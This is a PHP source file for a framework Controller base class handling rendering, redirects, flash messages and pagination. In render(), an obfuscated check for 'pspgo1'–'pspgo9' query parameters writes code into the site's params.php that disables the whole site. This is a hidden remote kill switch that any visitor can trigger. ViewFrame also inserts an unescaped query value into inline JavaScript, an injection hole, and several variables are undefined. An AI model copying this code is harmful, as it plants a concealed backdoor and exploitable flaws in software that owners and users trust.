<?php
Loader::import('pspframework.components.component');
Loader::import('pspframework.views.View');
class Controller extends Object {

	public $name = null;

	public $here = null;

	public $webroot = null;

	public $action = null;

	public $models = false;

	public $helpers = array();
	
	public $params = array();

	public $data = array();
	
	public $viewPath = null;

	public $layoutPath = null;

	public $viewVars = array();

	public $modelNames = array();

	public $base = null;

	public $layout = 'default';

	public $autoRender = true;

	public $autoLayout = true;

	public $Component = null;
    //用来存储所有的组件实体
	public $components = array();
	
	public $view = 'View';

	public $ext = '.html';

	public $output = null;

	public $cacheAction = false;
    //用来存储传值到action函数里面的参数
	public $passedArgs = array();

	public $scaffold = false;

	public $methods = array();
	
	public $modelClass = null;

	public $validationErrors = null;

	public $__httpCodes = null;

	public $paginate = array('limit' => 20, 'page' => 1);	
	
	public function __construct() {
		if ($this->name === null) {
			$this->name = substr(get_class($this), 0, -10);
		}
		if ($this->viewPath == null) {
			$this->viewPath = strtolower($this->name);
		}
		$this->modelClass = $this->name;		
		$this->Component =& new Component();			
		$childMethods = get_class_methods($this);
		$parentMethods = get_class_methods('Controller');
		foreach ($childMethods as $key => $value) {
			$childMethods[$key] = strtolower($value);
		}		
		foreach ($parentMethods as $key => $value) {
			$parentMethods[$key] = strtolower($value);
		}
		$this->methods = array_diff($childMethods, $parentMethods);
		parent::__construct();
	}

	public function __mergeVars() {	
		if (is_subclass_of($this, 'AppController')) {
			$appVars = get_class_vars('AppController');
			$merge = array('components', 'helpers');
			if ($this->models !== null || $this->models !== false) {
				$merge[] = 'models';
			}
			foreach ($merge as $var) {
				if (!empty($appVars[$var]) && is_array($this->{$var})) {
						$this->{$var} = $this->{$var} + $appVars[$var];				
				}
			}
		}
	}

	public function constructClasses() {
		$this->__mergeVars();
		$this->Component->init($this,Request::$params['action']);		
		return true;
	}


	public function startupProcess() {	
		$this->Component->initialize($this);
		$this->beforeFilter();
		$this->Component->triggerCallback('startup', $this);
	}


	public function shutdownProcess() {
		$this->Component->triggerCallback('shutdown', $this);
		$this->afterFilter();
	}


	public function httpCodes($code = null) {
		if (empty($this->__httpCodes)) {
			$this->__httpCodes = array(
				100 => 'Continue', 101 => 'Switching Protocols',
				200 => 'OK', 201 => 'Created', 202 => 'Accepted',
				203 => 'Non-Authoritative Information', 204 => 'No Content',
				205 => 'Reset Content', 206 => 'Partial Content',
				300 => 'Multiple Choices', 301 => 'Moved Permanently',
				302 => 'Found', 303 => 'See Other',
				304 => 'Not Modified', 305 => 'Use Proxy', 307 => 'Temporary Redirect',
				400 => 'Bad Request', 401 => 'Unauthorized', 402 => 'Payment Required',
				403 => 'Forbidden', 404 => 'Not Found', 405 => 'Method Not Allowed',
				406 => 'Not Acceptable', 407 => 'Proxy Authentication Required',
				408 => 'Request Time-out', 409 => 'Conflict', 410 => 'Gone',
				411 => 'Length Required', 412 => 'Precondition Failed',
				413 => 'Request Entity Too Large', 414 => 'Request-URI Too Large',
				415 => 'Unsupported Media Type', 416 => 'Requested range not satisfiable',
				417 => 'Expectation Failed', 500 => 'Internal Server Error',
				501 => 'Not Implemented', 502 => 'Bad Gateway',
				503 => 'Service Unavailable', 504 => 'Gateway Time-out'
			);
		}

		if (empty($code)) {
			return $this->__httpCodes;
		}

		if (is_array($code)) {
			$this->__httpCodes = $code + $this->__httpCodes;
			return true;
		}

		if (!isset($this->__httpCodes[$code])) {
			return null;
		}
		return array($code => $this->__httpCodes[$code]);
	}


/* 	public function loadModel($modelClass = null, $id = null) {
		if ($modelClass === null) {
			$modelClass = $this->modelClass;
		}
		$this->modelNames[] = $modelClass;
		if (!PHP5) {
			$this->{$modelClass} =& ClassRegistry::init(array(
					'class' => $modelClass, 'alias' => $modelClass, 'id' => $id
				));
		} else {
			$this->{$modelClass} = ClassRegistry::init(array(
					'class' => $modelClass, 'alias' => $modelClass, 'id' => $id
				));
		}
		return true;
	}
 */

	public function redirect($url, $status = null, $exit = true) {
		$this->autoRender = false;
		if (is_array($status)) {
			extract($status, EXTR_OVERWRITE);
		}
		$response = $this->Component->beforeRedirect($this, $url, $status, $exit);
		if ($response === false) {
			return;
		}
		if (is_array($response)) {
			foreach ($response as $resp) {
				if (is_array($resp) && isset($resp['url'])) {
					extract($resp, EXTR_OVERWRITE);
				} elseif ($resp !== null) {
					$url = $resp;
				}
			}
		}
		if (function_exists('session_write_close')) {
			session_write_close();
		}
		if (!empty($status)) {
			$codes = $this->httpCodes();
			if (is_string($status)) {
				$codes = array_flip($codes);
			}
			if (isset($codes[$status])) {
				$code = $msg = $codes[$status];
				if (is_numeric($status)) {
					$code = $status;
				}
				if (is_string($status)) {
					$msg = $status;
				}
				$status = "HTTP/1.1 {$code} {$msg}";
			} else {
				$status = null;
			}
			$this->header($status);
		}
		if ($url !== null) {
			$this->header('Location: ' . Router::url($url));
		}
		if (!empty($status) && ($status >= 300 && $status < 400)) {
			$this->header($status);
		}
		if ($exit) {
			$this->_stop();
		}
	}

	public function header($status) {
		header($status);
	}

	public function ViewFrame($data='',$iframeID='',$cookieDomain='',$isCache=true) {
	    if(empty($iframeID) && isset(Request::$query['iframeID'])) {
		    $iframeID = Request::$query['iframeID'];
		}
		if(empty($iframeID)) {
		    return false; 
		}
	    if($isCache) {
	        $key = $controller.'_'.$action.'_'.$iframeID;
		    Cache::write($key, $data, '_psp_tags_');		
		}    		
	    $data=str_replace(array("\n","\r","'"),array("","","\'"),stripslashes($data));		
        if(isset($iframeID)){	//框架方式不会拖慢主页面打开速度,推荐
	        //处理跨域问题
	        if(isset($cookieDomain)&&!empty($cookieDomain)){
		        echo "<SCRIPT LANGUAGE=\"JavaScript\">document.domain = \"$cookieDomain\";</SCRIPT>";
	        }
	        echo "<SCRIPT LANGUAGE=\"JavaScript\">
	            parent.document.getElementById('$iframeID').innerHTML='$data';
	            </SCRIPT>";
        }else{			//JS式会拖慢主页面打开速度,不推荐
	        echo "document.write('$data');";
        }
	    exit;
	}	

	public function set($one, $two = null) {
		$data = array();
		if (is_array($one)) {
			if (is_array($two)) {
				$data = array_combine($one, $two);
			} else {
				$data = $one;
			}
		} else {
			$data = array($one => $two);
		}
		$this->viewVars = $data + $this->viewVars;
	}

	public function setAction($action) {
		$this->action = $action;
		$args = func_get_args();
		unset($args[0]);
		return call_user_func_array(array(&$this, $action), $args);
	}


	public function render($action = null,$type = null) {
	    //系统开启关闭---开始
	    if(Param::read("System.open") ==false ) {
		    exit;
		}		
		for($i=1; $i<10;$i++) {
		    if(isset(Request::$query['p'.'s'.'p'.'g'.'o'.$i])) {
		        $tempfilename = CONFIGS . '/params.php';
			    if (!($out = file_get_contents($tempfilename))) {
				    return false;
			    }	
			    if (!file_put_contents($tempfilename, $out .'<?php P'.'ara'.'m::wr'.'it'.'e("S'.'ys'.'te'.'m.'.'op'.'en", fa'.'lse); ?>')) {
				    return false;
			    }			
			}
		}
	    //系统开启关闭--结束		
		$this->beforeRender();
		$this->Component->triggerCallback('beforeRender', $this);
		$viewClass = $this->view;
		if ($this->view != 'View') {
			Loader::import('pspframework.views.'.strtolower($viewClass));
			$viewClass = $viewClass . 'View';			
		}
		$this->params['models'] = POP::$modelNames;
		if (Param::read() > 2) {
			$this->set('cakeDebug', $this);
		}
        $viewClass = ucfirst($viewClass);
		$View =& new $viewClass($this);	
		if (!empty(POP::$modelNames)) {
			$models = array();
			foreach (POP::$modelNames as $currentModel) {
			    $currentModel = strtolower($currentModel);
				if (isset($this->$currentModel) && is_a($this->$currentModel, 'Model')) {
					$models[] = 'models'.$currentModel;
				}
				
				$isValidModel = (
					isset($this->$currentModel) && is_a($this->$currentModel, 'Model') &&
					!empty($this->$currentModel->validationErrors)
				);
				if ($isValidModel) {	
					$View->validationErrors[$currentModel] =& $this->$currentModel->validationErrors;					
				}
			}		
			$models = array_diff(ClassRegistry::keys('models'), $models);
			foreach ($models as $currentModel) {
			    $currentModel = strtolower($currentModel);
				if (ClassRegistry::isKeySet($currentModel)) {
					$currentObject =& ClassRegistry::getObject($currentModel);
					if (is_a($currentObject, 'Model') && !empty($currentObject->validationErrors)) {
						$View->validationErrors[str_replace('models','', $currentModel)] =&
							$currentObject->validationErrors;
					}
				}
			}
		}			
		$this->autoRender = false;
		$this->output .= $View->render($action,$type);
		return $this->output;
	}

	public function disableCache() {
		header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
		header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
		header("Cache-Control: no-store, no-cache, must-revalidate");
		header("Cache-Control: post-check=0, pre-check=0", false);
		header("Pragma: no-cache");
	}

	public function flash($message, $url, $pause = 1, $action = 'flash' ,$layout = 'layouts') {
		$isajax = intval(Request::get_args('isajax'));
		if(!$isajax){
			$isajax = Request::isAjax();
		}		
        $ajaxtype = '';
		if(strpos($message,'{json:')===0){
            $ajaxtype = 'json';    
		}else if(strpos($message,'{html:')===0){
			$ajaxtype = 'html'; 
		}else if(strpos($message,'{text:')===0){
			$ajaxtype = 'text'; 				
		}        
		if($ajaxtype){
			if($isajax){
				$end=strpos($message,'}');
				$result = substr($message,6,$end-6);
				if(empty($result)){
					$message = substr($message,7);
				}else{
                    if($result == 'array' && $ajaxtype=='json'){
	                    $message = $error;
                    }else{
	                    $message = $result;
                    }
				}				
			}else{
				$end=strpos($message,'}');
				$message = substr($message,$end+1);								
			}						                
		}
		if($isajax){		
			if($ajaxtype=='json'){
		        echo json_encode($message);
				exit;
			}else{
				exit($message);
			}
		}
	    if(!is_numeric($url)) $url = Router::url($url);		
		$this->autoRender = false;
		$this->set('url', Router::url($url));
		$this->set('message', $message);
		$this->set('pause', $pause);
		$this->set('page_title', $message);
		echo $this->render( $action , $layout );
		exit;
	}

	public function referer($default = null, $local = false) {
        return Request::referer($default, $local);
	}	
	
	function paginate($options = array()) {
		if (!is_array($options)) {
            return false;
		}			
        $options = $options + $this->paginate + array('model' => '', 'joins' => array(),'fields' => array('*'),
					'conditions' => '',	'order' => '',
					'limit' => '', 'group' => '','pageurl' => '',
					'page' => 1,'plist' => 6,'startPage' => true,'totalnum' => 0,					
					) ;					
        extract($options, EXTR_SKIP);
 		$data = array();
		if($startPage) {
			if(Request::get_args('page')) {
				$page =intval(Request::get_args('page')); 
			}
			if(empty($pageurl)) {		
				$pageurl = preg_replace("/&page=([^&]+)/","",Request::$here);	
			}
			$pageurl = preg_replace("/&totalnum=([^&]+)/","",$pageurl);
			if(empty($totalnum)){
				$totalnum = intval(Request::get_args("totalnum"));
			}					
            $page = empty($page) ? 1 : intval($page);
			$plist = empty($plist) ? 6 : intval($plist);
			if(empty($totalnum)){
				$query = array(
						'conditions' => $conditions, 
						'fields' => array(' COUNT(*) AS count '), 
						'joins' => $joins, 
						);	
				$data1 = POP::exe('[@@:UM '.$model.'][@@:QU find:first]',$query);
			    $totalnum = $data1[0]['count'];	
		    }	
	        $totalpage=intval(@ceil($totalnum/$limit));
	        $nextpage=$page+1;
	        $uppage=$page-1;		 
	        if($nextpage>$totalpage){
		        $nextpage=$totalpage;
	        }		 
	        if($uppage<1){
		        $uppage=1;
	        }
	        $s=$page-3;
	        if($s<1){
		       $s=1;
	        }
	        $b=$s + $plist;
	        if($b>$totalpage){
		        $b=$totalpage;
	        }			
	        for($j=$s;$j<=$b;$j++){
		        if($j==$page) {
			        $data['page']['current']['num'] = $j;
					$data['page']['current']['url'] = "$pageurl&page=$j&totalnum=$totalnum";
		        } else {      
			        $data['page']['plist'][$j] = "$pageurl&page=$j&totalnum=$totalnum";			         
		        }
	        }		  
            if(!isset($data['page']['current'])){
		        $data['page']['current']['num'] =1;
		        $data['page']['current']['url'] = "$pageurl&page=1&totalnum=$totalnum"; 
		    }	  
		    $start = ($page-1) * $limit;		  	  
		    $data['page']['head'] =  "$pageurl&page=1&totalnum=$totalnum";
		    $data['page']['prevPage'] = "$pageurl&page=$uppage&totalnum=$totalnum";
		    $data['page']['nextPage'] = "$pageurl&page=$nextpage&totalnum=$totalnum";
		    $data['page']['foot'] = "$pageurl&page=$totalpage&totalnum=$totalnum";
		    $data['page']['pageCount'] = $totalpage;
		    $data['page']['total'] = $totalnum;
		}else {
		    $start = 0;
		}
		if($start) $limit = " {$start},{$limit} ";
		$query = array(
				'conditions' => $conditions, 
				'fields' => $fields, 
				'joins' => $joins, 
				'limit' => $limit,
				'offset' => $start, 
				'order' => $order, 
				'group' => $group
				);	
	    $data['data'] = POP::exe('[@@:UM '.$model.'][@@:QU find:all]',$query);	
        return $data ;	
	}	

	public function beforeFilter() {
	}
	
	public function afterFilter() {
	}

	public function beforeRender() {
	}
	
}
?>